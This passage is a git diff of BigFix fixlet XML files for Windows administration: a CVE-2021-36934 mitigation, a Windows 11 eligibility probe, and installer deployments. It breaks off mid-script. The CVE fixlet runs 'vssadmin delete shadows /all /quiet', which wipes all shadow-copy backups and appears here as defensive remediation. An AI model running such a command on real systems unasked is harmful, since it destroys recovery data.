diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes
index 8972127fe..86d483f04 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes	
@@ -1,88 +1,88 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Windows 10 vulnerability CVE 2021-36934 (TESTING) v2
-  ID       : 26867
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2021-07-23T05:54:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Windows 10 vulnerability CVE 2021-36934 (TESTING) v2</Title>
-    <Description><![CDATA[<P>Windows 10 Elevation of Privilege Vulnerability </P>
-<P>CVE 2021-36934</P>
-<P>SAM hives readable by everyone account as of Windows 10 (1809)<BR>Current Fixlet relevance includes Windows 10 without limiting to (1809)<BR><BR>Deletes all VSS Shadow copies, as recommended by Microsoft.</P><P>Added Windows Server 2019 to relevance after udpates to the Microsoft guidance</P>
-<P>&nbsp;</P>
-<P>Please test well before using as this is BigFix.me community content</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists files &quot;config/SAM&quot; whose (exists entries whose (account name of trustee of it = &quot;Users&quot; and generic read permission of it and not deny type of it) of dacls of security descriptors of it) of native system folder</Relevance>
-    <Relevance>name of operating system = &quot;Win10&quot; OR name of operating system = &quot;Win2019&quot;</Relevance>
-    <Source>Alpha BigFix.me community content</Source>
-    <SourceReleaseDate>2021-07-21</SourceReleaseDate>
-    <CVENames>CVE 2021-36934</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 21 Jul 2021 17:11:46 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>alpha test vulnerability SAM</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-ID</Name>
-      <Value>26866</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//redirect to 64 bit versions
-action uses wow64 redirection false
-
-//icacls command to add inheritance to current permissions
-waithidden cmd.exe /C icacls.exe &quot;{pathname of windows folder}\system32\config\*.*&quot; /inheritance:e
-
-//delete prior VSS shadow copies
-waithidden cmd.exe /C vssadmin delete shadows /all /quiet
-</ActionScript>
-    </DefaultAction>
-    <Action ID="Action28161">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;for vunlerability information from Microsoft</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934</ActionScript>
-    </Action>
-    <Action ID="Action28162">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to information about VSSAdmin to delete shadow copies</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows</ActionScript>
-    </Action>
-    <Action ID="Action28163">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/26866</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows 10 vulnerability CVE 2021-36934 (TESTING) v2
+  ID       : 26867
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-23T05:54:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows 10 vulnerability CVE 2021-36934 (TESTING) v2</Title>
+    <Description><![CDATA[<P>Windows 10 Elevation of Privilege Vulnerability </P>
+<P>CVE 2021-36934</P>
+<P>SAM hives readable by everyone account as of Windows 10 (1809)<BR>Current Fixlet relevance includes Windows 10 without limiting to (1809)<BR><BR>Deletes all VSS Shadow copies, as recommended by Microsoft.</P><P>Added Windows Server 2019 to relevance after udpates to the Microsoft guidance</P>
+<P>&nbsp;</P>
+<P>Please test well before using as this is BigFix.me community content</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files &quot;config/SAM&quot; whose (exists entries whose (account name of trustee of it = &quot;Users&quot; and generic read permission of it and not deny type of it) of dacls of security descriptors of it) of native system folder</Relevance>
+    <Relevance>name of operating system = &quot;Win10&quot; OR name of operating system = &quot;Win2019&quot;</Relevance>
+    <Source>Alpha BigFix.me community content</Source>
+    <SourceReleaseDate>2021-07-21</SourceReleaseDate>
+    <CVENames>CVE 2021-36934</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 21 Jul 2021 17:11:46 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>alpha test vulnerability SAM</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>26866</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//redirect to 64 bit versions
+action uses wow64 redirection false
+
+//icacls command to add inheritance to current permissions
+waithidden cmd.exe /C icacls.exe &quot;{pathname of windows folder}\system32\config\*.*&quot; /inheritance:e
+
+//delete prior VSS shadow copies
+waithidden cmd.exe /C vssadmin delete shadows /all /quiet
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28161">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;for vunlerability information from Microsoft</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934</ActionScript>
+    </Action>
+    <Action ID="Action28162">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to information about VSSAdmin to delete shadow copies</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows</ActionScript>
+    </Action>
+    <Action ID="Action28163">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/26866</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes
index 8706f1981..582ff7ba3 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Windows 11 Upgrade Eligibility probe
-  ID       : 26878
-  Author   : marjan
-  Domain   : BESC
-  Imported : 2021-10-08T12:58:37
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Windows 11 Upgrade Eligibility probe</Title>
-    <Description><![CDATA[<FONT size=2> <P><BR>This task runs a dxdiag executable to generate results for Video Card Check property in <?Relevance link of fixlets whose (analysis flag of it AND mime field "x-fixlet-win11-eligibility" of it = "analysis" ) of current bes site ?>  analysis. Please run this task on all of your Windows 10 devices.</P>]]></Description>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
-    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-09-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 29 Sep 2021 03:43:54 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-win11-eligibility</Name>
-      <Value>probeTask</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;folderpath&quot; = &quot;{pathname of parent folder of client}\win11-eligibility&quot;
-
-folder create &quot;{parameter &quot;folderpath&quot;}&quot;
-delete &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
-
-wait dxdiag.exe /whql:off /dontskip /t &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows 11 Upgrade Eligibility probe
+  ID       : 26878
+  Author   : marjan
+  Domain   : BESC
+  Imported : 2021-10-08T12:58:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows 11 Upgrade Eligibility probe</Title>
+    <Description><![CDATA[<FONT size=2> <P><BR>This task runs a dxdiag executable to generate results for Video Card Check property in <?Relevance link of fixlets whose (analysis flag of it AND mime field "x-fixlet-win11-eligibility" of it = "analysis" ) of current bes site ?>  analysis. Please run this task on all of your Windows 10 devices.</P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-09-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 29 Sep 2021 03:43:54 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-win11-eligibility</Name>
+      <Value>probeTask</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;folderpath&quot; = &quot;{pathname of parent folder of client}\win11-eligibility&quot;
+
+folder create &quot;{parameter &quot;folderpath&quot;}&quot;
+delete &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
+
+wait dxdiag.exe /whql:off /dontskip /t &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes
index 03f0a926b..02ee906df 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes	
@@ -1,62 +1,62 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Windows Installer 3.1 Redistributable (v2)
-  ID       : 103
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Windows Installer 3.1 Redistributable (v2)</Title>
-    <Description><![CDATA[This task will deploy: Windows Installer 3.1 Redistributable (v2).<BR><BR>This task is applicable on: Windows 2000, Windows XP, Windows XP x64, Windows 2003 and Windows 2003 x64. ]]></Description>
-    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
-    <Relevance>exists value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry</Relevance>
-    <Relevance>exists file &quot;MSI.DLL&quot; of folder (value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry)</Relevance>
-    <Relevance><![CDATA[version of file "MSI.DLL" of folder (value "InstallerLocation" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer" of native registry) < "3.1.4001.5512"]]></Relevance>
-    <Category>Install</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 03 Oct 2012 16:07:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsInstaller-KB893803-v2-x86.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
-wait __Download\WindowsInstaller-KB893803-v2-x86.exe /quiet /norestart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action256">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=25</ActionScript>
-    </Action>
-    <Action ID="Action257">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to learn more about this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://msdn.microsoft.com/en-us/library/windows/desktop/aa372856(v=vs.85).aspx</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows Installer 3.1 Redistributable (v2)
+  ID       : 103
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows Installer 3.1 Redistributable (v2)</Title>
+    <Description><![CDATA[This task will deploy: Windows Installer 3.1 Redistributable (v2).<BR><BR>This task is applicable on: Windows 2000, Windows XP, Windows XP x64, Windows 2003 and Windows 2003 x64. ]]></Description>
+    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
+    <Relevance>exists value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry</Relevance>
+    <Relevance>exists file &quot;MSI.DLL&quot; of folder (value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry)</Relevance>
+    <Relevance><![CDATA[version of file "MSI.DLL" of folder (value "InstallerLocation" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer" of native registry) < "3.1.4001.5512"]]></Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:07:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsInstaller-KB893803-v2-x86.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+wait __Download\WindowsInstaller-KB893803-v2-x86.exe /quiet /norestart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action256">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=25</ActionScript>
+    </Action>
+    <Action ID="Action257">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://msdn.microsoft.com/en-us/library/windows/desktop/aa372856(v=vs.85).aspx</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes
index 177754781..314163c74 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes	
@@ -1,79 +1,79 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)
-  ID       : 22466
-  Author   : dkf278
-  Domain   : BESC
-  Imported : 2016-10-29T15:22:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)</Title>
-    <Description><![CDATA[<P>Windows Management Framework 5.0 includes updates to Windows PowerShell, Windows PowerShell Desired State Configuration (DSC), Windows Remote Management (WinRM), Windows Management Instrumentation (WMI). Release notes:</P>
-<P>Windows Management Framework (WMF) 5.0 brings functionality that has been updated from WMF 4.0. WMF 5.0 is available for installation only on Windows Server 2012 R2, Windows Server 2012, Windows 2008 R2, Windows 8.1, and Windows 7 SP1. Some of the new and updated features in this release include: <BR></P>
-<UL>
-<LI>Just Enough Administration (JEA)
-<LI>Creating Custom Types using PowerShell Classes
-<LI>Improvements in PowerShell Script Debugging
-<LI>Improvements in Desired State Configuration (DSC)
-<LI>Audit PowerShell Usage using Transcription and Logging
-<LI>Software Discovery, Install and Inventory with PackageManagement
-<LI>PowerShell Module Discovery, Install and Inventory with PowerShellGet
-<LI>PowerShell Script Discovery, Install and Management with PowerShellGet
-<LI>New and updated cmdlets based on community feedback
-<LI>Information Stream
-<LI>Generate PowerShell Cmdlets based on OData Endpoint
-<LI>Network Switch Management with PowerShell
-<LI>Software Inventory Logging (SIL)</LI></UL>
-<DIV class=supported-os><B><SPAN class=loc locid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51" srcid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51">Supported Operating System (s)</SPAN></B></DIV>
-<P itemprop="operatingSystem">Windows 7 Service Pack 1, Windows 8.1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows Server 2012 R2 </P>
-<UL class="htmldetails other-requirements">
-<UL>
-<LI>Windows Server 2012 R2
-<LI>Windows Server 2012
-<LI>Windows Server 2008 R2 SP1
-<LI>Windows 8.1
-<LI>Windows 7 SP1</LI></UL><BR><B>**IMPORTANT**</B><BR>
-<UL>
-<LI>Please see <A href="http://go.microsoft.com/fwlink/?LinkID=823123"><FONT color=#0066cc>release notes</FONT></A> for the list of products that are compatible and incompatible with Windows Management Framework 5.0.
-<LI>WMF 5.0 requires Microsoft .NET Framework 4.5 or above. You can install Microsoft .NET Framework 4.5 or above by following the instructions at <A href="https://msdn.microsoft.com/en-us/library/5a4x27ek(v=vs.110).aspx"><FONT color=#0066cc>Installing the .NET Framework</FONT></A>.</LI></UL>
-<LI><STRONG>Note:</STRONG> Some computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</LI></UL>
-<P><STRONG>Size of File</STRONG>:<STRONG><EM><U>20.7</U> <U>MB</U></EM></STRONG></P>]]></Description>
-    <Relevance>x64 of operating system</Relevance>
-    <Relevance>not ia64 of operating system</Relevance>
-    <Category>Windows Updates</Category>
-    <Source>www.dkforeman.com</Source>
-    <SourceID>KB3134760</SourceID>
-    <SourceReleaseDate>2016-10-28</SourceReleaseDate>
-    <SourceSeverity>Update</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 29 Oct 2016 10:43:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download https://download.microsoft.com/download/2/C/6/2C6E1B4A-EBE5-48A6-B225-2D2058A9CEFB/Win7AndW2K8R2-KB3134760-x64.msu
-continue if {(size of it = 21779572 AND sha1 of it = "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c") of file "Win7AndW2K8R2-KB3134760-x64.msu" of folder "__Download"}
-// Is Windows Update service running?
-continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
-wait {system folder as string & "\"}wusa.exe __Download\Win7AndW2K8R2-KB3134760-x64.msu /quiet /norestart
-action requires restart "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c"]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action23448">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to&amp;nbsp;read up on&amp;nbsp;the Knowledge Base Article for this update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://go.microsoft.com/fwlink/?LinkID=717903</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)
+  ID       : 22466
+  Author   : dkf278
+  Domain   : BESC
+  Imported : 2016-10-29T15:22:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)</Title>
+    <Description><![CDATA[<P>Windows Management Framework 5.0 includes updates to Windows PowerShell, Windows PowerShell Desired State Configuration (DSC), Windows Remote Management (WinRM), Windows Management Instrumentation (WMI). Release notes:</P>
+<P>Windows Management Framework (WMF) 5.0 brings functionality that has been updated from WMF 4.0. WMF 5.0 is available for installation only on Windows Server 2012 R2, Windows Server 2012, Windows 2008 R2, Windows 8.1, and Windows 7 SP1. Some of the new and updated features in this release include: <BR></P>
+<UL>
+<LI>Just Enough Administration (JEA)
+<LI>Creating Custom Types using PowerShell Classes
+<LI>Improvements in PowerShell Script Debugging
+<LI>Improvements in Desired State Configuration (DSC)
+<LI>Audit PowerShell Usage using Transcription and Logging
+<LI>Software Discovery, Install and Inventory with PackageManagement
+<LI>PowerShell Module Discovery, Install and Inventory with PowerShellGet
+<LI>PowerShell Script Discovery, Install and Management with PowerShellGet
+<LI>New and updated cmdlets based on community feedback
+<LI>Information Stream
+<LI>Generate PowerShell Cmdlets based on OData Endpoint
+<LI>Network Switch Management with PowerShell
+<LI>Software Inventory Logging (SIL)</LI></UL>
+<DIV class=supported-os><B><SPAN class=loc locid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51" srcid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51">Supported Operating System (s)</SPAN></B></DIV>
+<P itemprop="operatingSystem">Windows 7 Service Pack 1, Windows 8.1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows Server 2012 R2 </P>
+<UL class="htmldetails other-requirements">
+<UL>
+<LI>Windows Server 2012 R2
+<LI>Windows Server 2012
+<LI>Windows Server 2008 R2 SP1
+<LI>Windows 8.1
+<LI>Windows 7 SP1</LI></UL><BR><B>**IMPORTANT**</B><BR>
+<UL>
+<LI>Please see <A href="http://go.microsoft.com/fwlink/?LinkID=823123"><FONT color=#0066cc>release notes</FONT></A> for the list of products that are compatible and incompatible with Windows Management Framework 5.0.
+<LI>WMF 5.0 requires Microsoft .NET Framework 4.5 or above. You can install Microsoft .NET Framework 4.5 or above by following the instructions at <A href="https://msdn.microsoft.com/en-us/library/5a4x27ek(v=vs.110).aspx"><FONT color=#0066cc>Installing the .NET Framework</FONT></A>.</LI></UL>
+<LI><STRONG>Note:</STRONG> Some computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</LI></UL>
+<P><STRONG>Size of File</STRONG>:<STRONG><EM><U>20.7</U> <U>MB</U></EM></STRONG></P>]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Category>Windows Updates</Category>
+    <Source>www.dkforeman.com</Source>
+    <SourceID>KB3134760</SourceID>
+    <SourceReleaseDate>2016-10-28</SourceReleaseDate>
+    <SourceSeverity>Update</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 29 Oct 2016 10:43:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download https://download.microsoft.com/download/2/C/6/2C6E1B4A-EBE5-48A6-B225-2D2058A9CEFB/Win7AndW2K8R2-KB3134760-x64.msu
+continue if {(size of it = 21779572 AND sha1 of it = "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c") of file "Win7AndW2K8R2-KB3134760-x64.msu" of folder "__Download"}
+// Is Windows Update service running?
